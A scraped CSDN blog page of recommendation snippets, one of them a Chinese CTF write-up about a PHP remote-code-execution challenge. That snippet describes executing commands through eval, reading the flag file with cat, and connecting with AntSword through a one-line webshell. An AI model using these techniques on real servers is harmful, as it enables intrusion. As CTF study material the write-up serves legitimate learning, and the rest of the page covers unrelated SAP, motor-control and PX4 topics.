if(isset($_GET['url'])) isset函数用来检测url变量是否存在;$_GET函数获取变量数据eval函数用来执行参数数据,并返回结果,其中字符串当作PHP代码来执行。利用eval函数进行命令执行尝试得到了根目录内容看到一个与flag有关的文件,用cat命令查看。得到flag.system函数该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回,如果执行失败则返回fale。这个函数也是经常被使用到的。2.1.2.exec函数。

2302_79119987的博客 1262

SAP CBC 集成质量系统初始化接入实战指南

摘要 本文探讨了SAP S/4HANA Cloud Public Edition项目中质量系统的初始接入过程。质量系统并非开箱即用,而是需要经过SAP Central Business Configuration(CBC)的Scope and Organizational Structure阶段部署后才能具备完整功能。文章重点分析了几个关键环节:CBC里程碑确认的时机选择、Identity Authentication的初始管理员设置、Business Role Template的创建规范等。实施过程中需特

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1406

CTF-WEB-RCE

(但会直接把所有结果输出到页面)。方法二:GET请求url,看到eval我的第一想法就是蚁剑连接,但是它要POST请求才行,那就直接用一句话木马连接它。

2503_94121721的博客 1045

电机控制的智慧之眼:全面解析FOC状态观测器

摘要:本文深入探讨磁场定向控制(FOC)中的状态观测器技术,重点分析其在无传感器电机控制中的关键作用。文章详细介绍了滑模观测器(SMO)、扩展卡尔曼滤波(EKF)、龙贝格观测器和高频注入法等主流观测器的工作原理、技术特点及适用场景,其中SMO因结构简单、鲁棒性强成为当前主流方案。同时阐述了观测器与锁相环(PLL)结合的工程实践方案,并针对不同应用场景提供了观测器选型建议。文章还探讨了启动问题处理、参数敏感性等工程挑战的解决方案,以及混合观测器、AI应用等未来发展趋势。这些观测器技术使电机系统在无机械传感器情

汽车软件开发 274

从零开始学习PX4源码20(遥控器模式切换如何执行)

本节主要学习PX4的手动遥控器切换模式,具体是如何实现的,具体改变了哪些变量,和模式管理有什么联系。

陌城烟雨 315
上一篇: CTFshow Web入门-SSRF
下一篇: 梅杰夫人(MrsMajor)3.0病毒修复过程
阿斯顿法国红酒快
博客等级 码龄5年 154粉丝 23原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值